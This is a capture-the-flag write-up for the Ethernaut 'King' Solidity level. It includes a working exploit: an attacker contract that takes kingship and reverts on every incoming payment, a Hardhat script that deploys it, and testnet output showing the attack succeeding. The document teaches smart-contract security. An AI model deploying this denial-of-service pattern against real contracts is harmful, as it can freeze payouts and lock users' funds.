Ethernaut #09 King
King
Challenge
The contract below represents a very simple game: whoever sends it an amount of ether that is larger than the current prize becomes the new king. On such an event, the overthrown king gets paid the new prize, making a bit of ether in the process! As ponzi as it gets xD
Such a fun game. Your goal is to break it.
When you submit the instance back to the level, the level is going to reclaim kingship. You will beat the level if you can avoid such a self proclamation.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract King {
address payable king;
uint public prize;
address payable public owner;
constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address payable) {
return king;
}
}
Background
This challenge confused me for a moment. I had a rough idea of re-entrancy attacks so I though this might be some type of a re-entrancy attack. I started checking what I could do if I control the transfer function, but looking at the next challenge name (re-entrancy
) I thought that this is most likely not the type of attack I’m looking at. It is however a simpler version of it. The reason I was confused however, is that the challenge was not so clear to me. Usually we are after getting ownership of funds out of the contract, now I just needed to stay the king for ever.
So what is important to note here is that an smart contract can run code when funds are being transfered to it.
Attack
In order to stay king, we just need to make sure that once we become king, nobody can execute the receive function without a revert. This can be simply achieved by making a contract we controll the king and force revert
ing when someone transfers funds to the contract. If we needed to we could also have some logic to enable or disable this functionality but there is not need for this for the particular challange. Also keep in mind that a simple transfer does not have enough gas to pull this off, so a call with a value needs to be used when passing funds to the King
contract.
- Create a contract that can send funds to the
King
contract usingcall
and reverts when receiving funds - Send enought funds to the
King
contract to make the attacker contract king
KingSolve.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.4;
contract KingSolve {
constructor() public {}
function becomeKing (address payable _king) public payable {
// _king.call.value(msg.value)("");
_king.call{value: msg.value}("");
}
receive() external payable {
revert();
}
}
king-solve.js
const hre = require("hardhat");
const { ethers, upgrades } = require("hardhat");
async function main() {
kingAddress = "0xaa0130693AbE4a6a478224F96747dD98Ba2c5740";
contract = await ethers.getContractAt("King", kingAddress);
const accounts = await hre.ethers.getSigners();
account = accounts[0];
KingSolve = await ethers.getContractFactory("KingSolve");
kingSolve = await KingSolve.deploy();
await kingSolve.deployed();
console.log("Level address: " + contract.address)
console.log("Contract King: " + await contract._king())
// get current price
prize = await contract.prize()
console.log("Current Prize: " + prize)
// send funds buy calling selfdestruct
tx = await kingSolve.connect(account).becomeKing(contract.address, { value: prize })
receipt = await tx.wait()
console.log("Contract King: " + await contract._king())
}
main().catch((error) => {
console.error(error);
process.exitCode = 1;
});
$ npx hardhat run scripts/king-solve.js --network rinkeby
Level address: 0xaa0130693AbE4a6a478224F96747dD98Ba2c5740
Contract King: 0x43BA674B4fbb8B157b7441C2187bCdD2cdF84FD5
Current Prize: 1000000000000000
Contract King: 0x868A70Ca70a8089b979051Efc3e7e649DB1bdC82
Success Message
Most of Ethernaut’s levels try to expose (in an oversimplified form of course) something that actually happened — a real hack or a real bug.
In this case, see: King of the Ether and King of the Ether Postmortem.